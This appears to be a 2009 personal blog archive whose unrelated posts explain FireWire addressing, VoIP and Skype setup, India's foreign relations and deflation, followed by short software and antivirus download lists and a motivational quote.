When you turn on a computer, it automatically queries all peripherals attached to it, and assigns each one an address in a process called enumeration. FireWire makes use of 64-bit fixed addressing, based on the IEEE 1212 standard. Each packet of information sent by a peripheral over FireWire has three parts:
A 10-bit bus ID, to determine which FireWire bus generated the data,
A 6-bit physical ID to identify the device which sent the data, and
A 48-bit storage area is there capable of addressing 256 terabytes of information for each node.
The bus and physical ID comprise the 16-bit node ID, which allows for 64,000 nodes on a system. Data can be sent through up to 16 hops (device to device). Hops take place when a series of devices are connected.
For example, a camcorder is connected to an external hard drive attached to Computer A. The latter is then linked to Computer B, which is in turn coupled to Computer C. All devices can then access and
make use of the camcorder; Computer C, however, requires four hops to access the camera. If all of the devices in this setup are equipped with FireWire 800, the camcorder can be up to 400 meters from Computer C (given 100 meters of cable between each device).

FireWire devices can be powered or un-powered; two power conductors built into the cable can supply power (8 to 30 volts, 1.5 amps maximum) from the computer to an un-powered device. Two twisted pair sets carry the data in a FireWire 400 cable using a 6-pin configuration. Some smaller FireWire-enabled devices use 4-pin connectors to save space, omitting the two pins used to supply power.

VOIP

2009-03-29T00:25:00.001-07:00

INTRODUCTION
Voip (Voice over Internet Protocol) is simply the transmission of voice traffic over IP-based networks.

The Internet Protocol (IP) was originally designed for data networking. The success of IP in becoming a world standard for data networking has led to its adaption to voice networking.

VoIP Telephones

There are three methods of connecting to a VoIP network:
Using a VoIP telephone
Using a "normal" telephone with a VoIP adapter
Using a computer with speakers and a microphone

Types of VoIP Calls

VoIP telephone calls can be placed either to other VoIP devices, or to normal telephones on the PSTN (Public Switched Telephone Network).

Calls from a VoIP device to a PSTN device are commonly called "PC-to-Phone" calls, even though the VoIP device may not be a PC.

Calls from a VoIP device to another VoIP device are commonly called "PC-to-PC" calls, even though neither device may be a PC.

How Does it Work?

The most common way VoIP works is that the end user establishes a hi speed broadband connection, a router and a VoIP gateway. Instead of a standard telephone line, the router sends the telephone calls over an Internet connection. The VoIP gateway, placed somewhere in direct proximity of the connected Internet converts the analog signals into digital format, which are further broken down into smaller chunks called 'packets', before sending it over the Internet, much like the way data is transmitted to and from the computer. These packets are sent to their final destination and instructions for bringing back into an understandable form are embedded in them. It then goes through a VoIP gateway where the packets are reconverted into the original analog format utilizing a PSTN (Public Switched Telephone Network), thereby routing the call to the number the caller has dialed blending old school technology and hi tech delivery in a seamless and instantaneous way.

VoIP Features

The biggest advantage of VoIP is that the customers can make calls from anywhere in the world where a broadband Internet connection is available. The customers can take their IP phones or ATA's with them on national and international trips and still can manage to access what is essentially an individual's domestic phone line.

Then there are the softphones, which a software application that loads the VoIP services onto the desktop or laptop. Some even simulate an interface that looks like a telephone, with which you can place VoIP calls to anybody around the world, through a standard broadband connection.

Most VoIP services come with the caller id, call waiting, call transfer, repeat dialing and three-way dialing features. Most VoIP services also allow the user to check his/her voicemail over the web or attach messages to an e-mail that is sent to his/her PDA or PC.

What is voip conferencing software?

VoIP conference software comes in two basic varieties: free and commercial.
The free VoIP conference software packages tend to be difficult to setup and use; the commercial VoIP conference software packages tend to be slick and easy to install and use.Of course, the commercial VoIP conference software packages also come with setup fees and recurring costs for conference room access.Which option you choose depends upon your budget of time and money.

VOIP hardware
VoIP hardware falls into several categories:
VoIP Interface Cards for PCs
PC Telephones
VoIP Telephones
VoIP Switches
VoIP Gateways
VoIP Routers
VoIP PBX's
VoIP Telephones
VoIP Interface Cards

VoIP Interface cards for PCs turn your PC into a very capable VoIP telephone.

Leading manufacturers of VoIP interface cards for the PC include:
Digium
VoiceTronix
Quicknet
PC Telephones

PC Telephones are telephones which attach to your PC, usually via the USB port, and allow you to make telephone calls through your PC.
VoIP Telephones

VoIP telephones are telephones which attach directly to Ethernet network ports.
VoIP Switches

VoIP switches are devices which allow you to connect multiple phone lines to one Ethernet port. This allows every telephone which is connected to the switch to place VoIP calls.
VoIP Gateways

VoIP Gateways connect VoIP networks to the PSTN (Public Switched Telephone Network).
VoIP Routers

VoIP Routers route VoIP traffic in much the same way that regular routers route IP (Internet Protocol) traffic.
VoIP PBX's

VoIP PBX's are high-tech low-cost equivalents of traditional telephone PBX's. In addition to traditional PBX functionality, VoIP PBX's configure and manage VoIP network capabilities.

How to setup skype?

Voice over Internet Protocol, or VoIP for short, is quickly becoming recognized as one of the leading ways of communication over the Internet.

Skype is one of the most widely used programs for PC to PC calling using VoIP. To use this, you will need to have Skype installed on your computer.

You can download skype from Get Skype.
A window will open asking what you want to do with a file called SkypeSetup.exe. Click 'Run' to downloads and execute the software. A confirmation message may appear asking if you're sure you want to run this software. Just click 'Run' again.

Skype enables you to talk to anyone around the world for free. However there are a few requirements that must be met by both ends calling. This consists of a few key bits of equipment:
A broadband Internet connection
A microphone
Speakers

INDIA IN WORLD

2009-03-28T01:58:00.001-07:00

The Republic of India is the world's most-populous democracy and has one of the fastest economic growth rates in the world (8.9 percent GDP increase in 2007, the second-fastest major economy in the world after China). With the world's fourth largest armed forces, and twelfth largest economy by market-exchange rates, it is considered to be a regional power and a potential superpower. It is India's growing international influence that increasingly gives it a more prominent voice in global affairs.

After India gained independence from the United Kingdom in 1947, it soon joined the Commonwealth of Nations and strongly supported independence movements in other colonies, like the Indonesian National Revolution. A nuclear bomb test in 1974 made India the first confirmed nuclear state outside the United Nations Security Council. What is notable about the foreign relations of India is that it maintains good relationships with both Russia and United States at the same time; showing how important India is to the welfare of Asia, especially South Asia.

In the region, India-Pakistan relations have been bad since the partition of India in 1947. The two countries have fought four wars, of which three were related to the Kashmir conflict. In the latest war in 1999 both were nuclear-armed nations. There are long-standing controversies with the People's Republic of China and India had one war with PRC in 1962.

During the Cold War, India adopted a foreign policy of not aligning itself with any major power bloc. However, India developed close ties with the Soviet Union and received extensive military support from it. The end of the Cold War significantly affected Indian foreign policy, as it did for much of the world. The country now seeks to strengthen its diplomatic and economic ties with the United States, the People's Republic of China, the European Union, Japan, Israel, Mexico, and Brazil.^[20] India has also forged close ties with the member states of the Association of Southeast Asian Nations, the African Union, and the Arab League.India has friendly relations with Myanmar and Iran. There are controversies with Bangladesh.Though India continues to have a military relationship with Russia, Israel has emerged as India's second largest military partner while India has built a strong strategic partnership with the United States reflecting India's policy of balanced and non-aligned relations. Indo-US civilian nuclear agreement in 2008 created a foundation for nuclear energy generation in India.

India has a long history of collaboration with several countries and is considered a leader of the developing world. India was one of the founding members of several international organizations, most notably the United Nations, the Non-Aligned Movement, the Asian Development Bank and the G20 industrial nations. India has also played an important and influential role in other international organizations like East Asia Summit, World Trade Organization, IMF, G8+5 and IBSA Dialogue Forum.Regional organizations India is a part of include SAARC and BIMSTEC. India has taken part in several UN peacekeeping missions and in 2007, it was the second-largest troop contributor to the United Nations. India is currently seeking a permanent seat in the UNSC, along with the G4 nations.

DEFLATION

2009-03-28T01:45:00.000-07:00

WHAT IS DEFLATION?

In economics, deflation is a sustained decrease in the general price level of goods and services. Deflation occurs when the annual inflation rate falls below zero percent, resulting in an increase in the real value of money — a negative inflation rate. This should not be confused with disinflation, a slow-down in the inflation rate (i.e. when the inflation decreases, but still remains positive). Inflation reduces the real value of money over time, conversely, deflation increases the real value of money.

Most economists believe that deflation is a problem in a modern economy because of the danger of a deflationary spiral. Deflation is also linked with recessions and with the Great Depression. Additionally, deflation also prevents monetary policy from stabilizing the economy because of a mechanism called the liquidity trap. However, historically not all episodes of deflation correspond with periods of poor economic growth.

Effects of deflation

In economics, deflation refers to a general reduction in the level of prices below zero percent year-on-year inflation. Deflation should not be confused with a temporary fall in prices; instead, it is a sustained fall in prices that occurs when the inflation rate passes down below zero percent.

In the IS/LM model (that is, the Income and Saving equilibrium/ Liquidity Preference and Money Supply equilibrium model), deflation is caused by a shift in the supply and demand curve for goods and interest, particularly a fall in the aggregate level of demand. That is, there is a fall in how much the whole economy is willing to buy, and the going price for goods. Because the price of goods is falling, consumers have an incentive to delay purchases and consumption until prices fall further, which in turn reduces overall economic activity - contributing to the deflationary spiral.

Since this idles capacity, investment also falls, leading to further reductions in aggregate demand. This is the deflationary spiral. An answer to falling aggregate demand is stimulus, either from the central bank, by expanding the money supply, or by the fiscal authority to increase demand, and to borrow at interest rates which are below those available to private entities.

A different view is that deflation increases sales and economic activity by making essentials (food, housing, fuel etc.) which cannot be delayed, more affordable to struggling consumers, thereby reducing severity and duration of recession.

Inflation has the opposite effect and thus frequently precedes recessions. For example prices of these essentials sky-rocketed before the recession of 2008.

In more recent economic thinking, deflation is related to risk: where the risk-adjusted return on assets drops to negative, investors and buyers will hoard currency rather than invest it, even in the most solid of securities. This can produce the theoretical condition, much debated as to its practical possibility, of a liquidity trap. A central bank cannot, normally, charge negative interest for money, and even charging zero interest often produces less stimulative effect than slightly higher rates of interest. In a closed economy, this is because charging zero interest also means having zero return on government securities, or even negative return on short maturities. In an open economy it creates a carry trade, and devalues the currency producing higher prices for imports without necessarily stimulating exports to a like degree.

In monetarist theory, deflation is related to a sustained reduction in the velocity of money or number of transactions. This is attributed to a dramatic contraction of the money supply, perhaps in response to a falling exchange rate, or to adhere to a gold standard or other external monetary base requirement.

Deflation is generally regarded negatively, as it causes a transfer of wealth from borrowers and holders of illiquid assets, to the benefit of savers and of holders of liquid assets and currency. In this sense it is the opposite of inflation (or in the extreme, hyperinflation), which is a tax on currency holders and lenders (savers) in favor of borrowers and short term consumption. In modern economies, deflation is caused by a collapse in demand (usually brought on by high interest rates), and is associated with recession and (more rarely) long term economic depressions.

In modern economies, as loan terms have grown in length and loan financing (or leveraging) is common among all sorts of investments, the penalties associated with deflation have grown larger. Since deflation discourages investment and spending, because there is no reason to risk on future profits when the expectation of profits may be negative and the expectation of future prices is lower, it generally leads to, or is associated with a collapse in aggregate demand. Without the "hidden risk of inflation", it may become more prudent just to hold onto money, and not to spend or invest it.

Deflation is, however, the natural condition of hard currency economies when the rate of increase in the supply of money is not maintained at a rate commensurate to positive population (and general economic) growth. When this happens, the available amount of hard currency per person falls, in effect making money more scarce; and consequently, the purchasing power of each unit of currency increases. The late 19th century provides an example of sustained deflation combined with economic development under these conditions.

Deflation also occurs when improvements in production efficiency lower the overall price of goods. Improvements in production efficiency generally happen because economic producers of goods and services are motivated by a promise of increased profit margins, resulting from the production improvements that they make. Competition in the marketplace often prompts those producers to apply at least some portion of these cost savings into reducing the asking price for their goods. When this happens, consumers pay less for those goods; and consequently deflation has occurred, since purchasing power has increased.

While an increase in the purchasing power of one's money sounds beneficial, it can actually cause hardship when the majority of one's net worth is held in illiquid assets such as homes, land, and other forms of private property. It also amplifies the sting of debt, since-- after some period of significant deflation-- the payments one is making in the service of a debt represent a larger amount of purchasing power than they did when the debt was first incurred. Consequently, deflation can be thought of as a phantom amplification of a loan's interest rate. If, as during the Great Depression in the United States, deflation averages 10% per year, even a 0% loan is unattractive as it must be repaid with money worth 10% more each year. Since

Under normal conditions, the Fed and most other central banks implement policy by setting a target for a short-term interest rate--the overnight federal funds rate in the United States--and enforcing that target by buying and selling securities in open capital markets. When the short-term interest rate hits zero, the central bank can no longer ease policy by lowering its usual interest-rate target.,

the usual methods of regulating the money supply may be ineffective, as even lowering the short-term interest rate to zero may result in a "real" interest rate which is rather high; thus other mechanisms must be brought into play to increase the supply of money such as purchasing assets or quantitative easing (printing money). As the current Chairman of the United States Federal Reserve, Ben Bernanke, said in 2002, "...sufficient injections of money will ultimately always reverse a deflation."

This lesson about protracted deflationary cycles and their attendant hardships has been felt several times in modern history. During the 19th century, the Industrial Revolution brought about a huge increase in production efficiency, that happened to coincide with a relatively flat money-supply. These two deflationary catalysts led, simultaneously, not only to tremendous capital development, but also to tremendous deprivation for millions of people who were ill-equipped to deal with the dark side of deflation. Business owners-- on average, better educated in economic theory than their unfortunate cohorts (or just better able to withstand the economic stresses) -- recognized the deflation cycle as it unfolded, and positioned themselves to leverage its beneficial aspects.

Hard money advocates argue that if there were no "rigidities" in an economy, then deflation should be a welcome effect, as the lowering of prices would allow more of the economy's effort to be moved to other areas of activity, thus increasing the total output of the economy. However, while there have been periods of 'beneficial' deflation (especially in industry segments, such as computers), more often it has led to the more severe form with negative impact to large segments of the populace and economy.

Since deflationary periods favor those who hold currency over those who do not, they are often matched with periods of rising populist sentiment, as in the late 19th century, when populists in the United States wanted to move off hard money standards and back to a money standard based on the more inflationary (because more abundantly available) metal silver.

knowledge

2009-03-28T01:42:00.001-07:00

Knowledge is defined in the Oxford English Dictionary as (i) expertise, and skills acquired by a person through experience or education; the theoretical or practical understanding of a subject, (ii) what is known in a particular field or in total; facts and information or (iii) awareness or familiarity gained by experience of a fact or situation. Philosophical debates in general start with Plato's formulation of knowledge as "justified true belief". There is however no single agreed definition of knowledge presently, nor any prospect of one, and there remain numerous competing theories.

Knowledge acquisition involves complex cognitive processes: perception, learning, communication, association and reasoning. The term knowledge is also used to mean the confident understanding of a subject with the ability to use it for a specific purpose if appropriate. See Knowledge Management for additional details on that discipline.

SOFTWARE

2009-03-27T03:25:00.000-07:00

1.skype

2.GTALK

3.ROCKETDOCK

4.MOZILLA FIREFOX

5.NOTEPAD++

6.DAEMON TOOLS

7.GOOGLE DESKTOP

8.WINZIP

9.ADOBE READER 9.1 DOWNLOAD

Video tutor

2009-03-26T09:28:00.000-07:00

ANTIVIRUS FREE DOWNLOAD
1.AVG FREE EDITION

2.AVAST HOME EDITION

3.PC-TOOLS ANTIVIRUS

4.KASPERSKY ANTIVIRUS

5.McAfee ANTIVIRUS

awesome pics

2009-03-26T09:03:00.000-07:00

23 beautiful place in world

success

2009-03-26T08:46:00.000-07:00

SUCCESS
Every person who wins in any understanding must be willing to cut all sources of retreat. Only by doing so can one be sure of maintaining that state of mind known as a burning desire to win - essential to success.